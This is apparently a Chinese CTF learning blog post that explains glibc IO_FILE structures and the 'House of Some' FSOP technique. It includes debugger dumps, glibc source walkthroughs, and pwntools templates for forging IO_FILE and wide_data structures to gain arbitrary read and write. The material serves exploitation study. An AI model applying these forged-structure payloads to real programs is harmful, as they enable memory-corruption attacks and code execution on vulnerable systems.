IO_FILE结构及stdin、stdout举例 _IO_FILE_plus1 2 3 4 5 struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable ; };
_IO_FILE1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 struct _IO_FILE { int _flags; char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base; char *_IO_write_base; char *_IO_write_ptr; char *_IO_write_end; char *_IO_buf_base; char *_IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; int _flags2; __off_t _old_offset; unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_complete { struct _IO_FILE _file ; #endif __off64_t _offset; struct _IO_codecvt *_codecvt ; struct _IO_wide_data *_wide_data ; struct _IO_FILE *_freeres_list ; void *_freeres_buf; size_t __pad5; int _mode; char _unused2[15 * sizeof (int ) - 4 * sizeof (void *) - sizeof (size_t )]; };
_IO_jump_t1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct _IO_jump_t { JUMP_FIELD(size_t , __dummy); JUMP_FIELD(size_t , __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); };
_IO_wide_data1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt ; wchar_t _shortbuf[1 ]; const struct _IO_jump_t *_wide_vtable ; };
IO_2_1_stdin1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 pwndbg> p _IO_2_1_stdin_ $1 = { file = { _flags = -72540021, _IO_read_ptr = 0x75b77e603963 <_IO_2_1_stdin_+131> "" , _IO_read_end = 0x75b77e603963 <_IO_2_1_stdin_+131> "" , _IO_read_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "" , _IO_write_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "" , _IO_write_ptr = 0x75b77e603963 <_IO_2_1_stdin_+131> "" , _IO_write_end = 0x75b77e603963 <_IO_2_1_stdin_+131> "" , _IO_buf_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "" , _IO_buf_end = 0x75b77e603964 <_IO_2_1_stdin_+132> "" , _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000' , _shortbuf = "" , _lock = 0x75b77e605720 <_IO_stdfile_0_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x75b77e6039c0 <_IO_wide_data_0>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times > }, vtable = 0x75b77e602030 <_IO_file_jumps> } _flags _IO_read_ptr 0x75b77e6038e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x000075b77e603963 _IO_read_end _IO_read_base 0x75b77e6038f0 <_IO_2_1_stdin_+16>: 0x000075b77e603963 0x000075b77e603963 _IO_write_base _IO_write_ptr 0x75b77e603900 <_IO_2_1_stdin_+32>: 0x000075b77e603963 0x000075b77e603963 _IO_write_end _IO_buf_base* 0x75b77e603910 <_IO_2_1_stdin_+48>: 0x000075b77e603963 0x000075b77e603963 _IO_buf_end* _IO_save_base 0x75b77e603920 <_IO_2_1_stdin_+64>: 0x000075b77e603964 0x0000000000000000 _IO_backup_base _IO_save_end 0x75b77e603930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 _markers _chain 0x75b77e603940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 _fileno + _flags2 _old_offset 0x75b77e603950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff _cur_column + _vtable_offset + _shortbuf _lock 0x75b77e603960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x000075b77e605720 _offset _codecvt 0x75b77e603970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 _wide_data _freeres_list 0x75b77e603980 <_IO_2_1_stdin_+160>: 0x000075b77e6039c0 0x0000000000000000 _freeres_buf __pad5 0x75b77e603990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 _mode + _unused2 _unused2 0x75b77e6039a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000 _unused2 vtable 0x75b77e6039b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x000075b77e602030 总长度为0xe0
IO_2_1_stdout1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 pwndbg> p _IO_2_1_stdout_ $4 = { file = { _flags = -72537977, _IO_read_ptr = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n" , _IO_read_end = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n" , _IO_read_base = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n" , _IO_write_base = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n" , _IO_write_ptr = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n" , _IO_write_end = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n" , _IO_buf_base = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n" , _IO_buf_end = 0x75b77e604644 <_IO_2_1_stdout_+132> "" , _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x75b77e6038e0 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000' , _shortbuf = "\n" , _lock = 0x75b77e605710 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x75b77e6037e0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times > }, vtable = 0x75b77e602030 <_IO_file_jumps> } 0x75b77e6045c0 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x000075b77e604643 0x75b77e6045d0 <_IO_2_1_stdout_+16>: 0x000075b77e604643 0x000075b77e604643 0x75b77e6045e0 <_IO_2_1_stdout_+32>: 0x000075b77e604643 0x000075b77e604643 0x75b77e6045f0 <_IO_2_1_stdout_+48>: 0x000075b77e604643 0x000075b77e604643 0x75b77e604600 <_IO_2_1_stdout_+64>: 0x000075b77e604644 0x0000000000000000 0x75b77e604610 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000 0x75b77e604620 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x000075b77e6038e0 0x75b77e604630 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff 0x75b77e604640 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x000075b77e605710 0x75b77e604650 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000 0x75b77e604660 <_IO_2_1_stdout_+160>: 0x000075b77e6037e0 0x0000000000000000 0x75b77e604670 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000 0x75b77e604680 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000 0x75b77e604690 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x000075b77e602030 总长度为0xe0
利用覆盖stdin的_IO_buf_base低位一字节为’\x00’的任意地址写 数据从stdin(即标准输入)写入时,会先存储在_IO_buf_base指向的位置,当数据量很大时则会malloc一片内存用于存储数据。而我们将_IO_buf_base的低位字节置为\x00后,其恰好指向自身的_IO_write_base处,那么这也就意味着我们能覆盖从此处到_IO_buf_end处的一块空间,其中包含了_IO_buf_base和_IO_buf_end,这又意味着我们能够再次通过修改_IO_buf_base和_IO_buf_end达到再次任意地址写的目的。 需要注意的是,此方法需要由如fgets等函数触发stdin的刷新才能实现。
任意地址读 使用 1 2 3 4 5 6 7 8 9 10 fif_leak_stack = flat({ 0x00 : 0x800 | 0x1000 , 0x20 : _IO_write_base, 0x28 : _IO_write_ptr, 0x68 : _chain, 0x70 : _fileno, 0x88 : _lock, 0xd8 : vtable, }, filler = b"\x00" )
原理 正常_IO_flush_all执行时调用每个IO_FILE中vtable的overflow,在_IO_new_file_overflow函数中会调用_IO_do_write将未输出完的数据输出
任意地址写 使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 context.arch = 'amd64' fake_io_to_read = flat({ 0x00 : 0 , 0x38 : _IO_buf_base, 0x40 : _IO_buf_end, 0x68 : _chain, 0x70 : 0 , 0x88 : _lock, 0xa0 : _wide_data, 0xc0 : 2 , 0xd8 : vtable, }, filler = b"\x00" ) fake_wide_data = flat({ 0x18 : 0 , 0x20 : 0xff , 0xe0 : _wide_vtable, }, filler = b"\x00" ) fake_io_to_read = flat({ 0x00 : 0 , 0x08 : 0xff , 0x38 : _IO_buf_base, 0x40 : _IO_buf_end, 0x68 : _chain, 0x70 : 0 , 0x88 : _lock, 0xa0 : _wide_data, 0xc0 : 2 , 0xc8 : _wide_vtable, 0xd8 : vtable, }, filler = b"\x00" ) 0x200
原理 来源 https://blog.csome.cc/p/house-of-some/
CTF wiki FSOP FSOP
_IO_flush_all -> 刷新所有的IO_FILE,IO_list_all -> IO_FILE -> vtable -> IO_Chain -> IO_FILE
详细 查看_IO_flush_all
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int _IO_flush_all (void ) { int result = 0 ; FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif for (fp = (FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain) { run_fp = fp; _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; _IO_funlockfile (fp); run_fp = NULL ; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0 ); #endif return result; }
程序调用_IO_flush_all时,会调用_IO_OVERFLOW 我们来追踪一下_IO_OVERFLOW 首先是
1 #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
查看JUMP1
1 2 JUMP1(__overflow, fp, EOF) #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
查看_IO_JUMPS_FUNC,有两个形态,但由于我们没有offset,所以使用第二个
1 2 3 4 5 6 7 8 #if _IO_JUMPS_OFFSET # define _IO_JUMPS_FUNC(THIS) \ (IO_validate_vtable \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + (THIS)->_vtable_offset))) #else # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS))) (_IO_JUMPS_FUNC(fp)->__overflow) (fp, EOF)
已知IO_validate_vtable是检查vtable地址是否合法,所以直接查看_IO_JUMPS_FILE_plus
1 2 3 #define _IO_JUMPS_FILE_plus(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable) (_IO_JUMPS_FILE_plus(fp)->__overflow) (fp, EOF)
查看_IO_CAST_FIELD_ACCESS
1 2 3 4 #define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \ (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \ + offsetof(TYPE, MEMBER))) (_IO_CAST_FIELD_ACCESS (fp, struct _IO_FILE_plus, vtable)->__overflow) (fp, EPF)
简单查看后可以得到最后的调用是
1 fp->vtable->__overflow (fp, EOF)
结合vtable中的定义
1 JUMP_FIELD(_IO_overflow_t, __overflow);
可知其将调用vtable表中的__overflow函数,且其类型为_IO_overflow_t,具体调用的函数我们需要从虚表(vtable)填充的数据中去查找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [IO_FILE_JUMPS] = { JUMP_INIT_DUMMY, JUMP_INIT (finish, _IO_file_finish), JUMP_INIT (overflow, _IO_file_overflow), JUMP_INIT (underflow, _IO_file_underflow), JUMP_INIT (uflow, _IO_default_uflow), JUMP_INIT (pbackfail, _IO_default_pbackfail), JUMP_INIT (xsputn, _IO_file_xsputn), JUMP_INIT (xsgetn, _IO_file_xsgetn), JUMP_INIT (seekoff, _IO_new_file_seekoff), JUMP_INIT (seekpos, _IO_default_seekpos), JUMP_INIT (setbuf, _IO_new_file_setbuf), JUMP_INIT (sync, _IO_new_file_sync), JUMP_INIT (doallocate, _IO_file_doallocate), JUMP_INIT (read, _IO_file_read), JUMP_INIT (write, _IO_new_file_write), JUMP_INIT (seek, _IO_file_seek), JUMP_INIT (close, _IO_file_close), JUMP_INIT (stat, _IO_file_stat), JUMP_INIT (showmanyc, _IO_default_showmanyc), JUMP_INIT (imbue, _IO_default_imbue) },
通过询问ai得知JUMP_INIT的第一个参数在宏展开后就会多俩下划线,最终名字会与_IO_jump_t中一致,但此处我们需要做出改变,如果继续按照原路线进行,则会进入正常的overflow阶段。那我们提前将此处的_IO_file_jumps地址改为_IO_wfile_jumps地址才能继续我们的攻击。笔者在学习到这之前一直没理解为什么他能执行wfile的函数,原来是重点在更换的虚表地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [IO_WFILE_JUMPS] = { JUMP_INIT_DUMMY, JUMP_INIT (finish, _IO_new_file_finish), JUMP_INIT (overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT (underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT (uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT (xsputn, _IO_wfile_xsputn), JUMP_INIT (xsgetn, _IO_file_xsgetn), JUMP_INIT (seekoff, _IO_wfile_seekoff), JUMP_INIT (seekpos, _IO_default_seekpos), JUMP_INIT (setbuf, _IO_new_file_setbuf), JUMP_INIT (sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT (doallocate, _IO_wfile_doallocate), JUMP_INIT (read, _IO_file_read), JUMP_INIT (write, _IO_new_file_write), JUMP_INIT (seek, _IO_file_seek), JUMP_INIT (close, _IO_file_close), JUMP_INIT (stat, _IO_file_stat), JUMP_INIT (showmanyc, _IO_default_showmanyc), JUMP_INIT (imbue, _IO_default_imbue) },
继续跟踪_IO_wfile_overflow函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 wint_t _IO_wfile_overflow (FILE *f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL ) { if (f->_wide_data->_IO_write_base == 0 ) { _IO_wdoallocbuf (f); _IO_free_wbackup_area (f); _IO_wsetg (f, f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base); if (f->_IO_write_base == NULL ) { _IO_doallocbuf (f); _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); } } else { if (f->_wide_data->_IO_read_ptr == f->_wide_data->_IO_buf_end) { f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base; f->_wide_data->_IO_read_end = f->_wide_data->_IO_read_ptr = f->_wide_data->_IO_buf_base; } } f->_wide_data->_IO_write_ptr = f->_wide_data->_IO_read_ptr; f->_wide_data->_IO_write_base = f->_wide_data->_IO_write_ptr; f->_wide_data->_IO_write_end = f->_wide_data->_IO_buf_end; f->_wide_data->_IO_read_base = f->_wide_data->_IO_read_ptr = f->_wide_data->_IO_read_end; f->_IO_write_ptr = f->_IO_read_ptr; f->_IO_write_base = f->_IO_write_ptr; f->_IO_write_end = f->_IO_buf_end; f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end; f->_flags |= _IO_CURRENTLY_PUTTING; if (f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) f->_wide_data->_IO_write_end = f->_wide_data->_IO_write_ptr; } if (wch == WEOF) return _IO_do_flush (f); if (f->_wide_data->_IO_write_ptr == f->_wide_data->_IO_buf_end) if (_IO_do_flush (f) == EOF) return WEOF; *f->_wide_data->_IO_write_ptr++ = wch; if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && wch == L'\n' )) if (_IO_do_flush (f) == EOF) return WEOF; return wch; }
发现其中调用的第一个函数_IO_wdoallocbuf,查看_IO_wdoallocbuf
1 2 3 4 5 6 7 8 9 10 11 void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return ; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t )_IO_WDOALLOCATE (fp) != WEOF) return ; _IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1 , 0 ); }
终于见到关键调用了,其中有个_IO_WDOALLOCATE,此为一个宏
1 #define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
查看后就可发现其是通过虚表寻找函数调用的宏,从前面追溯overflow的过程我们可以举一反三,但是要注意在这一步有所不同,也是因为这一步我们能够进行攻击
1 2 #define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
此处与前面不同之处为使用了_wide_data中的_wide_vtable。那么已知其寻找函数是通过_wide_vtable地址加上偏移,我们查看vtable的结构体可知__doallocate的偏移为0x68,通过适当改变存放_wide_vtable的地址的值也就可以执行_wide_vtable上的其它函数了。 House of Some的提出者csome师傅发现了_IO_new_file_underflow这个函数中存在的_IO_SYSREAD可用于此处,执行写操作。 而简单查找可发现_IO_new_file_underflow是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [IO_FILE_JUMPS] = { JUMP_INIT_DUMMY, JUMP_INIT (finish, _IO_file_finish), JUMP_INIT (overflow, _IO_file_overflow), JUMP_INIT (underflow, _IO_file_underflow), JUMP_INIT (uflow, _IO_default_uflow), JUMP_INIT (pbackfail, _IO_default_pbackfail), JUMP_INIT (xsputn, _IO_file_xsputn), JUMP_INIT (xsgetn, _IO_file_xsgetn), JUMP_INIT (seekoff, _IO_new_file_seekoff), JUMP_INIT (seekpos, _IO_default_seekpos), JUMP_INIT (setbuf, _IO_new_file_setbuf), JUMP_INIT (sync, _IO_new_file_sync), JUMP_INIT (doallocate, _IO_file_doallocate), JUMP_INIT (read, _IO_file_read), JUMP_INIT (write, _IO_new_file_write), JUMP_INIT (seek, _IO_file_seek), JUMP_INIT (close, _IO_file_close), JUMP_INIT (stat, _IO_file_stat), JUMP_INIT (showmanyc, _IO_default_showmanyc), JUMP_INIT (imbue, _IO_default_imbue) },
表中的_IO_file_underflow的具体实现
1 versioned_symbol (libc, _IO_new_file_underflow, _IO_file_underflow, GLIBC_2_1);
查看_IO_new_file_underflow(有new肯定有old,但是old被注释了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 int _IO_new_file_underflow (FILE *fp) { ssize_t count; if (fp->_flags & _IO_EOF_SEEN) return EOF; if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (fp->_IO_buf_base == NULL ) { if (fp->_IO_save_base != NULL ) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) { _IO_acquire_lock (stdout ); if ((stdout ->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF)) _IO_OVERFLOW (stdout , EOF); _IO_release_lock (stdout ); } _IO_switch_to_get_mode (fp); fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base; count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0 ) { if (count == 0 ) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0 ; } fp->_IO_read_end += count; if (count == 0 ) { fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr; }
那么我们只需让本该执行_IO_wfile_doallocate的地方执行_IO_file_underflow,就能实现任意地址写啦,具体操作方法则是在_wide_data的_wide_vtable处填上_IO_file_jumps-0x48即可 。 需要注意的是由于其中调用的_IO_switch_to_get_mode有
1 2 3 if (fp->_IO_write_ptr > fp->_IO_write_base) if (_IO_OVERFLOW (fp, EOF) == EOF) return EOF;
所以在_IO_flush_all的if中我们不能使用第一个条件,而该使用第二个和_wide_data有关的条件。以及由于调用的过程中使用了_lock,我们需要在伪造IO_FILE时填上_lock处的值。
总结 其完整的调用链为
_IO_flush_all
_IO_OVERFLOW
_IO_wfile_overflow(修改fp->vtable导致)
_IO_wdoallocbuf
_IO_WDOALLOCATE
_IO_new_file_underflow(修改fp->_wide_data->_wide_vtable导致)
本作品由 automata 于 2026-03-21 18:40:25 发布
除特别声明外,本站作品均采用
CC BY-NC-SA 4.0 许可协议,转载请注明来自
凹凸麦塔